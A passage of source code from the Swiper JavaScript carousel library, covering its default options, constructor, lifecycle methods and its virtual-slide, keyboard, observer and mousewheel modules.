(Support.pointerEvents || Support.prefixedPointerEvents)
) {
suffixes.push('wp8-' + params.direction);
}
suffixes.forEach(function (suffix) {
classNames.push(params.containerModifierClass + suffix);
});
$el.addClass(classNames.join(' '));
}
function removeClasses() {
var swiper = this;
var $el = swiper.$el;
var classNames = swiper.classNames;
$el.removeClass(classNames.join(' '));
}
var classes = { addClasses: addClasses, removeClasses: removeClasses };
function loadImage(
imageEl,
src,
srcset,
sizes,
checkForComplete,
callback
) {
var image;
function onReady() {
if (callback) {
callback();
}
}
if (!imageEl.complete || !checkForComplete) {
if (src) {
image = new win.Image();
image.onload = onReady;
image.onerror = onReady;
if (sizes) {
image.sizes = sizes;
}
if (srcset) {
image.srcset = srcset;
}
if (src) {
image.src = src;
}
} else {
onReady();
}
} else {
// image already loaded...
onReady();
}
}
function preloadImages() {
var swiper = this;
swiper.imagesToLoad = swiper.$el.find('img');
function onReady() {
if (
typeof swiper === 'undefined' ||
swiper === null ||
!swiper ||
swiper.destroyed
) {
return;
}
if (swiper.imagesLoaded !== undefined) {
swiper.imagesLoaded += 1;
}
if (swiper.imagesLoaded === swiper.imagesToLoad.length) {
if (swiper.params.updateOnImagesReady) {
swiper.update();
}
swiper.emit('imagesReady');
}
}
for (var i = 0; i < swiper.imagesToLoad.length; i += 1) {
var imageEl = swiper.imagesToLoad[i];
swiper.loadImage(
imageEl,
imageEl.currentSrc || imageEl.getAttribute('src'),
imageEl.srcset || imageEl.getAttribute('srcset'),
imageEl.sizes || imageEl.getAttribute('sizes'),
true,
onReady
);
}
}
var images = {
loadImage: loadImage,
preloadImages: preloadImages,
};
function checkOverflow() {
var swiper = this;
var wasLocked = swiper.isLocked;
swiper.isLocked = swiper.snapGrid.length === 1;
swiper.allowSlideNext = !swiper.isLocked;
swiper.allowSlidePrev = !swiper.isLocked;
// events
if (wasLocked !== swiper.isLocked) {
swiper.emit(swiper.isLocked ? 'lock' : 'unlock');
}
if (wasLocked && wasLocked !== swiper.isLocked) {
swiper.isEnd = false;
swiper.navigation.update();
}
}
var checkOverflow$1 = { checkOverflow: checkOverflow };
var defaults = {
init: true,
direction: 'horizontal',
touchEventsTarget: 'container',
initialSlide: 0,
speed: 300,
//
preventInteractionOnTransition: false,
// To support iOS's swipe-to-go-back gesture (when being used in-app, with UIWebView).
edgeSwipeDetection: false,
edgeSwipeThreshold: 20,
// Free mode
freeMode: false,
freeModeMomentum: true,
freeModeMomentumRatio: 1,
freeModeMomentumBounce: true,
freeModeMomentumBounceRatio: 1,
freeModeMomentumVelocityRatio: 1,
freeModeSticky: false,
freeModeMinimumVelocity: 0.02,
// Autoheight
autoHeight: false,
// Set wrapper width
setWrapperSize: false,
// Virtual Translate
virtualTranslate: false,
// Effects
effect: 'slide', // 'slide' or 'fade' or 'cube' or 'coverflow' or 'flip'
// Breakpoints
breakpoints: undefined,
// Slides grid
spaceBetween: 0,
slidesPerView: 1,
slidesPerColumn: 1,
slidesPerColumnFill: 'column',
slidesPerGroup: 1,
centeredSlides: false,
slidesOffsetBefore: 0, // in px
slidesOffsetAfter: 0, // in px
normalizeSlideIndex: true,
// Disable swiper and hide navigation when container not overflow
watchOverflow: false,
// Round length
roundLengths: false,
// Touches
touchRatio: 1,
touchAngle: 45,
simulateTouch: true,
shortSwipes: true,
longSwipes: true,
longSwipesRatio: 0.5,
longSwipesMs: 300,
followFinger: true,
allowTouchMove: true,
threshold: 0,
touchMoveStopPropagation: true,
touchReleaseOnEdges: false,
// Unique Navigation Elements
uniqueNavElements: true,
// Resistance
resistance: true,
resistanceRatio: 0.85,
// Progress
watchSlidesProgress: false,
watchSlidesVisibility: false,
// Cursor
grabCursor: false,
// Clicks
preventClicks: true,
preventClicksPropagation: true,
slideToClickedSlide: false,
// Images
preloadImages: true,
updateOnImagesReady: true,
// loop
loop: false,
loopAdditionalSlides: 0,
loopedSlides: null,
loopFillGroupWithBlank: false,
// Swiping/no swiping
allowSlidePrev: true,
allowSlideNext: true,
swipeHandler: null, // '.swipe-handler',
noSwiping: true,
noSwipingClass: 'swiper-no-swiping',
noSwipingSelector: null,
// Passive Listeners
passiveListeners: true,
// NS
containerModifierClass: 'swiper-container-', // NEW
slideClass: 'swiper-slide',
slideBlankClass: 'swiper-slide-invisible-blank',
slideActiveClass: 'swiper-slide-active',
slideDuplicateActiveClass: 'swiper-slide-duplicate-active',
slideVisibleClass: 'swiper-slide-visible',
slideDuplicateClass: 'swiper-slide-duplicate',
slideNextClass: 'swiper-slide-next',
slideDuplicateNextClass: 'swiper-slide-duplicate-next',
slidePrevClass: 'swiper-slide-prev',
slideDuplicatePrevClass: 'swiper-slide-duplicate-prev',
wrapperClass: 'swiper-wrapper',
// Callbacks
runCallbacksOnInit: true,
};
var prototypes = {
update: update,
translate: translate,
transition: transition$1,
slide: slide,
loop: loop,
grabCursor: grabCursor,
manipulation: manipulation,
events: events,
breakpoints: breakpoints,
checkOverflow: checkOverflow$1,
classes: classes,
images: images,
};
var extendedDefaults = {};
var Swiper = (function (SwiperClass$$1) {
function Swiper() {
var assign;
var args = [],
len = arguments.length;
while (len--) args[len] = arguments[len];
var el;
var params;
if (
args.length === 1 &&
args[0].constructor &&
args[0].constructor === Object
) {
params = args[0];
} else {
(assign = args), (el = assign[0]), (params = assign[1]);
}
if (!params) {
params = {};
}
params = Utils.extend({}, params);
if (el && !params.el) {
params.el = el;
}
SwiperClass$$1.call(this, params);
Object.keys(prototypes).forEach(function (prototypeGroup) {
Object.keys(prototypes[prototypeGroup]).forEach(function (
protoMethod
) {
if (!Swiper.prototype[protoMethod]) {
Swiper.prototype[protoMethod] =
prototypes[prototypeGroup][protoMethod];
}
});
});
// Swiper Instance
var swiper = this;
if (typeof swiper.modules === 'undefined') {
swiper.modules = {};
}
Object.keys(swiper.modules).forEach(function (moduleName) {
var module = swiper.modules[moduleName];
if (module.params) {
var moduleParamName = Object.keys(module.params)[0];
var moduleParams = module.params[moduleParamName];
if (typeof moduleParams !== 'object') {
return;
}
if (
!(
moduleParamName in params &&
'enabled' in moduleParams
)
) {
return;
}
if (params[moduleParamName] === true) {
params[moduleParamName] = { enabled: true };
}
if (
typeof params[moduleParamName] === 'object' &&
!('enabled' in params[moduleParamName])
) {
params[moduleParamName].enabled = true;
}
if (!params[moduleParamName]) {
params[moduleParamName] = { enabled: false };
}
}
});
// Extend defaults with modules params
var swiperParams = Utils.extend({}, defaults);
swiper.useModulesParams(swiperParams);
// Extend defaults with passed params
swiper.params = Utils.extend(
{},
swiperParams,
extendedDefaults,
params
);
swiper.originalParams = Utils.extend({}, swiper.params);
swiper.passedParams = Utils.extend({}, params);
// Save Dom lib
swiper.$ = $;
// Find el
var $el = $(swiper.params.el);
el = $el[0];
if (!el) {
return undefined;
}
if ($el.length > 1) {
var swipers = [];
$el.each(function (index, containerEl) {
var newParams = Utils.extend({}, params, {
el: containerEl,
});
swipers.push(new Swiper(newParams));
});
return swipers;
}
el.swiper = swiper;
$el.data('swiper', swiper);
// Find Wrapper
var $wrapperEl = $el.children('.' + swiper.params.wrapperClass);
// Extend Swiper
Utils.extend(swiper, {
$el: $el,
el: el,
$wrapperEl: $wrapperEl,
wrapperEl: $wrapperEl[0],
// Classes
classNames: [],
// Slides
slides: $(),
slidesGrid: [],
snapGrid: [],
slidesSizesGrid: [],
// isDirection
isHorizontal: function isHorizontal() {
return swiper.params.direction === 'horizontal';
},
isVertical: function isVertical() {
return swiper.params.direction === 'vertical';
},
// RTL
rtl:
el.dir.toLowerCase() === 'rtl' ||
$el.css('direction') === 'rtl',
rtlTranslate:
swiper.params.direction === 'horizontal' &&
(el.dir.toLowerCase() === 'rtl' ||
$el.css('direction') === 'rtl'),
wrongRTL: $wrapperEl.css('display') === '-webkit-box',
// Indexes
activeIndex: 0,
realIndex: 0,
//
isBeginning: true,
isEnd: false,
// Props
translate: 0,
previousTranslate: 0,
progress: 0,
velocity: 0,
animating: false,
// Locks
allowSlideNext: swiper.params.allowSlideNext,
allowSlidePrev: swiper.params.allowSlidePrev,
// Touch Events
touchEvents: (function touchEvents() {
var touch = ['touchstart', 'touchmove', 'touchend'];
var desktop = ['mousedown', 'mousemove', 'mouseup'];
if (Support.pointerEvents) {
desktop = ['pointerdown', 'pointermove', 'pointerup'];
} else if (Support.prefixedPointerEvents) {
desktop = [
'MSPointerDown',
'MSPointerMove',
'MSPointerUp',
];
}
swiper.touchEventsTouch = {
start: touch[0],
move: touch[1],
end: touch[2],
};
swiper.touchEventsDesktop = {
start: desktop[0],
move: desktop[1],
end: desktop[2],
};
return Support.touch || !swiper.params.simulateTouch
? swiper.touchEventsTouch
: swiper.touchEventsDesktop;
})(),
touchEventsData: {
isTouched: undefined,
isMoved: undefined,
allowTouchCallbacks: undefined,
touchStartTime: undefined,
isScrolling: undefined,
currentTranslate: undefined,
startTranslate: undefined,
allowThresholdMove: undefined,
// Form elements to match
formElements:
'input, select, option, textarea, button, video',
// Last click time
lastClickTime: Utils.now(),
clickTimeout: undefined,
// Velocities
velocities: [],
allowMomentumBounce: undefined,
isTouchEvent: undefined,
startMoving: undefined,
},
// Clicks
allowClick: true,
// Touches
allowTouchMove: swiper.params.allowTouchMove,
touches: {
startX: 0,
startY: 0,
currentX: 0,
currentY: 0,
diff: 0,
},
// Images
imagesToLoad: [],
imagesLoaded: 0,
});
// Install Modules
swiper.useModules();
// Init
if (swiper.params.init) {
swiper.init();
}
// Return app instance
return swiper;
}
if (SwiperClass$$1) Swiper.__proto__ = SwiperClass$$1;
Swiper.prototype = Object.create(
SwiperClass$$1 && SwiperClass$$1.prototype
);
Swiper.prototype.constructor = Swiper;
var staticAccessors = {
extendedDefaults: { configurable: true },
defaults: { configurable: true },
Class: { configurable: true },
$: { configurable: true },
};
Swiper.prototype.slidesPerViewDynamic = function slidesPerViewDynamic() {
var swiper = this;
var params = swiper.params;
var slides = swiper.slides;
var slidesGrid = swiper.slidesGrid;
var swiperSize = swiper.size;
var activeIndex = swiper.activeIndex;
var spv = 1;
if (params.centeredSlides) {
var slideSize = slides[activeIndex].swiperSlideSize;
var breakLoop;
for (var i = activeIndex + 1; i < slides.length; i += 1) {
if (slides[i] && !breakLoop) {
slideSize += slides[i].swiperSlideSize;
spv += 1;
if (slideSize > swiperSize) {
breakLoop = true;
}
}
}
for (var i$1 = activeIndex - 1; i$1 >= 0; i$1 -= 1) {
if (slides[i$1] && !breakLoop) {
slideSize += slides[i$1].swiperSlideSize;
spv += 1;
if (slideSize > swiperSize) {
breakLoop = true;
}
}
}
} else {
for (var i$2 = activeIndex + 1; i$2 < slides.length; i$2 += 1) {
if (
slidesGrid[i$2] - slidesGrid[activeIndex] <
swiperSize
) {
spv += 1;
}
}
}
return spv;
};
Swiper.prototype.update = function update$$1() {
var swiper = this;
if (!swiper || swiper.destroyed) {
return;
}
var snapGrid = swiper.snapGrid;
var params = swiper.params;
// Breakpoints
if (params.breakpoints) {
swiper.setBreakpoint();
}
swiper.updateSize();
swiper.updateSlides();
swiper.updateProgress();
swiper.updateSlidesClasses();
function setTranslate() {
var translateValue = swiper.rtlTranslate
? swiper.translate * -1
: swiper.translate;
var newTranslate = Math.min(
Math.max(translateValue, swiper.maxTranslate()),
swiper.minTranslate()
);
swiper.setTranslate(newTranslate);
swiper.updateActiveIndex();
swiper.updateSlidesClasses();
}
var translated;
if (swiper.params.freeMode) {
setTranslate();
if (swiper.params.autoHeight) {
swiper.updateAutoHeight();
}
} else {
if (
(swiper.params.slidesPerView === 'auto' ||
swiper.params.slidesPerView > 1) &&
swiper.isEnd &&
!swiper.params.centeredSlides
) {
translated = swiper.slideTo(
swiper.slides.length - 1,
0,
false,
true
);
} else {
translated = swiper.slideTo(
swiper.activeIndex,
0,
false,
true
);
}
if (!translated) {
setTranslate();
}
}
if (params.watchOverflow && snapGrid !== swiper.snapGrid) {
swiper.checkOverflow();
}
swiper.emit('update');
};
Swiper.prototype.init = function init() {
var swiper = this;
if (swiper.initialized) {
return;
}
swiper.emit('beforeInit');
// Set breakpoint
if (swiper.params.breakpoints) {
swiper.setBreakpoint();
}
// Add Classes
swiper.addClasses();
// Create loop
if (swiper.params.loop) {
swiper.loopCreate();
}
// Update size
swiper.updateSize();
// Update slides
swiper.updateSlides();
if (swiper.params.watchOverflow) {
swiper.checkOverflow();
}
// Set Grab Cursor
if (swiper.params.grabCursor) {
swiper.setGrabCursor();
}
if (swiper.params.preloadImages) {
swiper.preloadImages();
}
// Slide To Initial Slide
if (swiper.params.loop) {
swiper.slideTo(
swiper.params.initialSlide + swiper.loopedSlides,
0,
swiper.params.runCallbacksOnInit
);
} else {
swiper.slideTo(
swiper.params.initialSlide,
0,
swiper.params.runCallbacksOnInit
);
}
// Attach events
swiper.attachEvents();
// Init Flag
swiper.initialized = true;
// Emit
swiper.emit('init');
};
Swiper.prototype.destroy = function destroy(
deleteInstance,
cleanStyles
) {
if (deleteInstance === void 0) deleteInstance = true;
if (cleanStyles === void 0) cleanStyles = true;
var swiper = this;
var params = swiper.params;
var $el = swiper.$el;
var $wrapperEl = swiper.$wrapperEl;
var slides = swiper.slides;
if (typeof swiper.params === 'undefined' || swiper.destroyed) {
return null;
}
swiper.emit('beforeDestroy');
// Init Flag
swiper.initialized = false;
// Detach events
swiper.detachEvents();
// Destroy loop
if (params.loop) {
swiper.loopDestroy();
}
// Cleanup styles
if (cleanStyles) {
swiper.removeClasses();
$el.removeAttr('style');
$wrapperEl.removeAttr('style');
if (slides && slides.length) {
slides
.removeClass(
[
params.slideVisibleClass,
params.slideActiveClass,
params.slideNextClass,
params.slidePrevClass,
].join(' ')
)
.removeAttr('style')
.removeAttr('data-swiper-slide-index')
.removeAttr('data-swiper-column')
.removeAttr('data-swiper-row');
}
}
swiper.emit('destroy');
// Detach emitter events
Object.keys(swiper.eventsListeners).forEach(function (eventName) {
swiper.off(eventName);
});
if (deleteInstance !== false) {
swiper.$el[0].swiper = null;
swiper.$el.data('swiper', null);
Utils.deleteProps(swiper);
}
swiper.destroyed = true;
return null;
};
Swiper.extendDefaults = function extendDefaults(newDefaults) {
Utils.extend(extendedDefaults, newDefaults);
};
staticAccessors.extendedDefaults.get = function () {
return extendedDefaults;
};
staticAccessors.defaults.get = function () {
return defaults;
};
staticAccessors.Class.get = function () {
return SwiperClass$$1;
};
staticAccessors.$.get = function () {
return $;
};
Object.defineProperties(Swiper, staticAccessors);
return Swiper;
})(SwiperClass);
var Device$1 = {
name: 'device',
proto: {
device: Device,
},
static: {
device: Device,
},
};
var Support$1 = {
name: 'support',
proto: {
support: Support,
},
static: {
support: Support,
},
};
var Browser$1 = {
name: 'browser',
proto: {
browser: Browser,
},
static: {
browser: Browser,
},
};
var Resize = {
name: 'resize',
create: function create() {
var swiper = this;
Utils.extend(swiper, {
resize: {
resizeHandler: function resizeHandler() {
if (
!swiper ||
swiper.destroyed ||
!swiper.initialized
) {
return;
}
swiper.emit('beforeResize');
swiper.emit('resize');
},
orientationChangeHandler: function orientationChangeHandler() {
if (
!swiper ||
swiper.destroyed ||
!swiper.initialized
) {
return;
}
swiper.emit('orientationchange');
},
},
});
},
on: {
init: function init() {
var swiper = this;
// Emit resize
win.addEventListener('resize', swiper.resize.resizeHandler);
// Emit orientationchange
win.addEventListener(
'orientationchange',
swiper.resize.orientationChangeHandler
);
},
destroy: function destroy() {
var swiper = this;
win.removeEventListener('resize', swiper.resize.resizeHandler);
win.removeEventListener(
'orientationchange',
swiper.resize.orientationChangeHandler
);
},
},
};
var Observer = {
func: win.MutationObserver || win.WebkitMutationObserver,
attach: function attach(target, options) {
if (options === void 0) options = {};
var swiper = this;
var ObserverFunc = Observer.func;
var observer = new ObserverFunc(function (mutations) {
// The observerUpdate event should only be triggered
// once despite the number of mutations. Additional
// triggers are redundant and are very costly
if (mutations.length === 1) {
swiper.emit('observerUpdate', mutations[0]);
return;
}
var observerUpdate = function observerUpdate() {
swiper.emit('observerUpdate', mutations[0]);
};
if (win.requestAnimationFrame) {
win.requestAnimationFrame(observerUpdate);
} else {
win.setTimeout(observerUpdate, 0);
}
});
observer.observe(target, {
attributes:
typeof options.attributes === 'undefined'
? true
: options.attributes,
childList:
typeof options.childList === 'undefined'
? true
: options.childList,
characterData:
typeof options.characterData === 'undefined'
? true
: options.characterData,
});
swiper.observer.observers.push(observer);
},
init: function init() {
var swiper = this;
if (!Support.observer || !swiper.params.observer) {
return;
}
if (swiper.params.observeParents) {
var containerParents = swiper.$el.parents();
for (var i = 0; i < containerParents.length; i += 1) {
swiper.observer.attach(containerParents[i]);
}
}
// Observe container
swiper.observer.attach(swiper.$el[0], { childList: false });
// Observe wrapper
swiper.observer.attach(swiper.$wrapperEl[0], { attributes: false });
},
destroy: function destroy() {
var swiper = this;
swiper.observer.observers.forEach(function (observer) {
observer.disconnect();
});
swiper.observer.observers = [];
},
};
var Observer$1 = {
name: 'observer',
params: {
observer: false,
observeParents: false,
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
observer: {
init: Observer.init.bind(swiper),
attach: Observer.attach.bind(swiper),
destroy: Observer.destroy.bind(swiper),
observers: [],
},
});
},
on: {
init: function init() {
var swiper = this;
swiper.observer.init();
},
destroy: function destroy() {
var swiper = this;
swiper.observer.destroy();
},
},
};
var Virtual = {
update: function update(force) {
var swiper = this;
var ref = swiper.params;
var slidesPerView = ref.slidesPerView;
var slidesPerGroup = ref.slidesPerGroup;
var centeredSlides = ref.centeredSlides;
var ref$1 = swiper.virtual;
var previousFrom = ref$1.from;
var previousTo = ref$1.to;
var slides = ref$1.slides;
var previousSlidesGrid = ref$1.slidesGrid;
var renderSlide = ref$1.renderSlide;
var previousOffset = ref$1.offset;
swiper.updateActiveIndex();
var activeIndex = swiper.activeIndex || 0;
var offsetProp;
if (swiper.rtlTranslate) {
offsetProp = 'right';
} else {
offsetProp = swiper.isHorizontal() ? 'left' : 'top';
}
var slidesAfter;
var slidesBefore;
if (centeredSlides) {
slidesAfter = Math.floor(slidesPerView / 2) + slidesPerGroup;
slidesBefore = Math.floor(slidesPerView / 2) + slidesPerGroup;
} else {
slidesAfter = slidesPerView + (slidesPerGroup - 1);
slidesBefore = slidesPerGroup;
}
var from = Math.max((activeIndex || 0) - slidesBefore, 0);
var to = Math.min(
(activeIndex || 0) + slidesAfter,
slides.length - 1
);
var offset =
(swiper.slidesGrid[from] || 0) - (swiper.slidesGrid[0] || 0);
Utils.extend(swiper.virtual, {
from: from,
to: to,
offset: offset,
slidesGrid: swiper.slidesGrid,
});
function onRendered() {
swiper.updateSlides();
swiper.updateProgress();
swiper.updateSlidesClasses();
if (swiper.lazy && swiper.params.lazy.enabled) {
swiper.lazy.load();
}
}
if (previousFrom === from && previousTo === to && !force) {
if (
swiper.slidesGrid !== previousSlidesGrid &&
offset !== previousOffset
) {
swiper.slides.css(offsetProp, offset + 'px');
}
swiper.updateProgress();
return;
}
if (swiper.params.virtual.renderExternal) {
swiper.params.virtual.renderExternal.call(swiper, {
offset: offset,
from: from,
to: to,
slides: (function getSlides() {
var slidesToRender = [];
for (var i = from; i <= to; i += 1) {
slidesToRender.push(slides[i]);
}
return slidesToRender;
})(),
});
onRendered();
return;
}
var prependIndexes = [];
var appendIndexes = [];
if (force) {
swiper.$wrapperEl.find('.' + swiper.params.slideClass).remove();
} else {
for (var i = previousFrom; i <= previousTo; i += 1) {
if (i < from || i > to) {
swiper.$wrapperEl
.find(
'.' +
swiper.params.slideClass +
'[data-swiper-slide-index="' +
i +
'"]'
)
.remove();
}
}
}
for (var i$1 = 0; i$1 < slides.length; i$1 += 1) {
if (i$1 >= from && i$1 <= to) {
if (typeof previousTo === 'undefined' || force) {
appendIndexes.push(i$1);
} else {
if (i$1 > previousTo) {
appendIndexes.push(i$1);
}
if (i$1 < previousFrom) {
prependIndexes.push(i$1);
}
}
}
}
appendIndexes.forEach(function (index) {
swiper.$wrapperEl.append(renderSlide(slides[index], index));
});
prependIndexes
.sort(function (a, b) {
return a < b;
})
.forEach(function (index) {
swiper.$wrapperEl.prepend(
renderSlide(slides[index], index)
);
});
swiper.$wrapperEl
.children('.swiper-slide')
.css(offsetProp, offset + 'px');
onRendered();
},
renderSlide: function renderSlide(slide, index) {
var swiper = this;
var params = swiper.params.virtual;
if (params.cache && swiper.virtual.cache[index]) {
return swiper.virtual.cache[index];
}
var $slideEl = params.renderSlide
? $(params.renderSlide.call(swiper, slide, index))
: $(
'<div class="' +
swiper.params.slideClass +
'" data-swiper-slide-index="' +
index +
'">' +
slide +
'</div>'
);
if (!$slideEl.attr('data-swiper-slide-index')) {
$slideEl.attr('data-swiper-slide-index', index);
}
if (params.cache) {
swiper.virtual.cache[index] = $slideEl;
}
return $slideEl;
},
appendSlide: function appendSlide(slide) {
var swiper = this;
swiper.virtual.slides.push(slide);
swiper.virtual.update(true);
},
prependSlide: function prependSlide(slide) {
var swiper = this;
swiper.virtual.slides.unshift(slide);
if (swiper.params.virtual.cache) {
var cache = swiper.virtual.cache;
var newCache = {};
Object.keys(cache).forEach(function (cachedIndex) {
newCache[cachedIndex + 1] = cache[cachedIndex];
});
swiper.virtual.cache = newCache;
}
swiper.virtual.update(true);
swiper.slideNext(0);
},
};
var Virtual$1 = {
name: 'virtual',
params: {
virtual: {
enabled: false,
slides: [],
cache: true,
renderSlide: null,
renderExternal: null,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
virtual: {
update: Virtual.update.bind(swiper),
appendSlide: Virtual.appendSlide.bind(swiper),
prependSlide: Virtual.prependSlide.bind(swiper),
renderSlide: Virtual.renderSlide.bind(swiper),
slides: swiper.params.virtual.slides,
cache: {},
},
});
},
on: {
beforeInit: function beforeInit() {
var swiper = this;
if (!swiper.params.virtual.enabled) {
return;
}
swiper.classNames.push(
swiper.params.containerModifierClass + 'virtual'
);
var overwriteParams = {
watchSlidesProgress: true,
};
Utils.extend(swiper.params, overwriteParams);
Utils.extend(swiper.originalParams, overwriteParams);
swiper.virtual.update();
},
setTranslate: function setTranslate() {
var swiper = this;
if (!swiper.params.virtual.enabled) {
return;
}
swiper.virtual.update();
},
},
};
var Keyboard = {
handle: function handle(event) {
var swiper = this;
var rtl = swiper.rtlTranslate;
var e = event;
if (e.originalEvent) {
e = e.originalEvent;
} // jquery fix
var kc = e.keyCode || e.charCode;
// Directions locks
if (
!swiper.allowSlideNext &&
((swiper.isHorizontal() && kc === 39) ||
(swiper.isVertical() && kc === 40))
) {
return false;
}
if (
!swiper.allowSlidePrev &&
((swiper.isHorizontal() && kc === 37) ||
(swiper.isVertical() && kc === 38))
) {
return false;
}
if (e.shiftKey || e.altKey || e.ctrlKey || e.metaKey) {
return undefined;
}
if (
doc.activeElement &&
doc.activeElement.nodeName &&
(doc.activeElement.nodeName.toLowerCase() === 'input' ||
doc.activeElement.nodeName.toLowerCase() === 'textarea')
) {
return undefined;
}
if (
swiper.params.keyboard.onlyInViewport &&
(kc === 37 || kc === 39 || kc === 38 || kc === 40)
) {
var inView = false;
// Check that swiper should be inside of visible area of window
if (
swiper.$el.parents('.' + swiper.params.slideClass).length >
0 &&
swiper.$el.parents('.' + swiper.params.slideActiveClass)
.length === 0
) {
return undefined;
}
var windowWidth = win.innerWidth;
var windowHeight = win.innerHeight;
var swiperOffset = swiper.$el.offset();
if (rtl) {
swiperOffset.left -= swiper.$el[0].scrollLeft;
}
var swiperCoord = [
[swiperOffset.left, swiperOffset.top],
[swiperOffset.left + swiper.width, swiperOffset.top],
[swiperOffset.left, swiperOffset.top + swiper.height],
[
swiperOffset.left + swiper.width,
swiperOffset.top + swiper.height,
],
];
for (var i = 0; i < swiperCoord.length; i += 1) {
var point = swiperCoord[i];
if (
point[0] >= 0 &&
point[0] <= windowWidth &&
point[1] >= 0 &&
point[1] <= windowHeight
) {
inView = true;
}
}
if (!inView) {
return undefined;
}
}
if (swiper.isHorizontal()) {
if (kc === 37 || kc === 39) {
if (e.preventDefault) {
e.preventDefault();
} else {
e.returnValue = false;
}
}
if ((kc === 39 && !rtl) || (kc === 37 && rtl)) {
swiper.slideNext();
}
if ((kc === 37 && !rtl) || (kc === 39 && rtl)) {
swiper.slidePrev();
}
} else {
if (kc === 38 || kc === 40) {
if (e.preventDefault) {
e.preventDefault();
} else {
e.returnValue = false;
}
}
if (kc === 40) {
swiper.slideNext();
}
if (kc === 38) {
swiper.slidePrev();
}
}
swiper.emit('keyPress', kc);
return undefined;
},
enable: function enable() {
var swiper = this;
if (swiper.keyboard.enabled) {
return;
}
$(doc).on('keydown', swiper.keyboard.handle);
swiper.keyboard.enabled = true;
},
disable: function disable() {
var swiper = this;
if (!swiper.keyboard.enabled) {
return;
}
$(doc).off('keydown', swiper.keyboard.handle);
swiper.keyboard.enabled = false;
},
};
var Keyboard$1 = {
name: 'keyboard',
params: {
keyboard: {
enabled: false,
onlyInViewport: true,
},
},
create: function create() {
var swiper = this;
Utils.extend(swiper, {
keyboard: {
enabled: false,
enable: Keyboard.enable.bind(swiper),
disable: Keyboard.disable.bind(swiper),
handle: Keyboard.handle.bind(swiper),
},
});
},
on: {
init: function init() {
var swiper = this;
if (swiper.params.keyboard.enabled) {
swiper.keyboard.enable();
}
},
destroy: function destroy() {
var swiper = this;
if (swiper.keyboard.enabled) {
swiper.keyboard.disable();
}
},
},
};
function isEventSupported() {
var eventName = 'onwheel';
var isSupported = eventName in doc;
if (!isSupported) {
var element = doc.createElement('div');
element.setAttribute(eventName, 'return;');
isSupported = typeof element[eventName] === 'function';
}
if (
!isSupported &&
doc.implementation &&
doc.implementation.hasFeature &&
// always returns true in newer browsers as per the standard.
// @see http://dom.spec.whatwg.org/#dom-domimplementation-hasfeature
doc.implementation.hasFeature('', '') !== true
) {
// This is the only way to test support for the `wheel` event in IE9+.
isSupported = doc.implementation.hasFeature('Events.wheel', '3.0');
}
return isSupported;
}
var Mousewheel = {
lastScrollTime: Utils.now(),
event: (function getEvent() {
if (win.navigator.userAgent.indexOf('firefox') > -1) {
return 'DOMMouseScroll';
}
return isEventSupported() ? 'wheel' : 'mousewheel';
})(),
normalize: function normalize(e) {
// Reasonable defaults
var PIXEL_STEP = 10;
var LINE_HEIGHT = 40;
var PAGE_HEIGHT = 800;
var sX = 0;
var sY = 0; // spinX, spinY
var pX = 0;
var pY = 0; // pixelX, pixelY
// Legacy
if ('detail' in e) {
sY = e.detail;
}
if ('wheelDelta' in e) {
sY = -e.wheelDelta / 120;
}
if ('wheelDeltaY' in e) {
sY = -e.wheelDeltaY / 120;
}
if ('wheelDeltaX' in e) {
sX = -e.wheelDeltaX / 120;
}
// side scrolling on FF with DOMMouseScroll
if ('axis' in e && e.axis === e.HORIZONTAL_AXIS) {
sX = sY;
sY = 0;
}
pX = sX * PIXEL_STEP;
pY = sY * PIXEL_STEP;
if ('deltaY' in e) {
pY = e.deltaY;
}
if ('deltaX' in e) {
pX = e.deltaX;
}
if ((pX || pY) && e.deltaMode) {
if (e.deltaMode === 1) {
// delta in LINE units
pX *= LINE_HEIGHT;
pY *= LINE_HEIGHT;
} else {
// delta in PAGE units
pX *= PAGE_HEIGHT;
pY *= PAGE_HEIGHT;
}
}
// Fall-back if spin cannot be determined
if (pX && !sX) {
sX = pX < 1 ? -1 : 1;
}
if (pY && !sY) {
sY = pY < 1 ? -1 : 1;
}
return {
spinX: sX,
spinY: sY,
pixelX: pX,
pixelY: pY,
};
},
handleMouseEnter: function handleMouseEnter() {
var swiper = this;
swiper.mouseEntered = true;
},
handleMouseLeave: function handleMouseLeave() {
var swiper = this;
swiper.mouseEntered = false;
},
handle: function handle(event) {
var e = event;
var swiper = this;
var params = swiper.params.mousewheel;
if (!swiper.mouseEntered && !params.releaseOnEdges) {
return true;
}
if (e.originalEvent) {
e = e.originalEvent;
} // jquery fix
var delta = 0;
var rtlFactor = swiper.rtlTranslate ? -1 : 1;
var data = Mousewheel.normalize(e);
if (params.forceToAxis) {
if (swiper.isHorizontal()) {
if (Math.abs(data.pixelX) > Math.abs(data.pixelY)) {
delta = data.pixelX * rtlFactor;
} else {
return true;
}
} else if (Math.abs(data.pixelY) > Math.abs(data.pixelX)) {
delta = data.pixelY;
} else {
return true;
}
} else {
delta =
Math.abs(data.pixelX) > Math.abs(data.pixelY)
? -data.pixelX * rtlFactor
: -data.pixelY;
}
if (delta === 0) {
return true;
}
if (params.invert) {
delta = -delta;
}
if (!swiper.params.freeMode) {
if (Utils.now() - swiper.mousewheel.lastScrollTime > 60) {
if (delta < 0) {
if (
(!swiper.isEnd || swiper.params.loop) &&
!swiper.animating
) {
swiper.slideNext();
swiper.emit('scroll', e);
} else if (params.releaseOnEdges) {
return true;
}
} else if (
(!swiper.isBeginning || swiper.params.loop) &&
!swiper.animating
) {
swiper.slidePrev();
swiper.emit('scroll', e);
} else if (params.releaseOnEdges) {
return true;
}
}
swiper.mousewheel.lastScrollTime = new win.Date().getTime();
} else {
// Freemode or scrollContainer:
if (swiper.params.loop) {
swiper.loopFix();
}
var position =
swiper.getTranslate() + delta * params.sensitivity;
var wasBeginning = swiper.isBeginning;
var wasEnd = swiper.isEnd;
if (position >= swiper.minTranslate()) {
position = swiper.minTranslate();
}
if (position <= swiper.maxTranslate()) {
position = swiper.maxTranslate();
}
swiper.setTransition(0);
swiper.setTranslate(position);
swiper.updateProgress();
swiper.updateActiveIndex();
swiper.updateSlidesClasses();
if (
(!wasBeginning && swiper.isBeginning) ||
(!wasEnd && swiper.isEnd)
) {
swiper.updateSlidesClasses();
}
if (swiper.params.freeModeSticky) {
clearTimeout(swiper.mousewheel.timeout);
swiper.mousewheel.timeout = Utils.nextTick(function () {
swiper.slideToClosest();
}, 300);
}
// Emit event
swiper.emit('scroll', e);
// Stop autoplay
if (
swiper.params.autoplay &&
swiper.params.autoplayDisableOnInteraction
) {
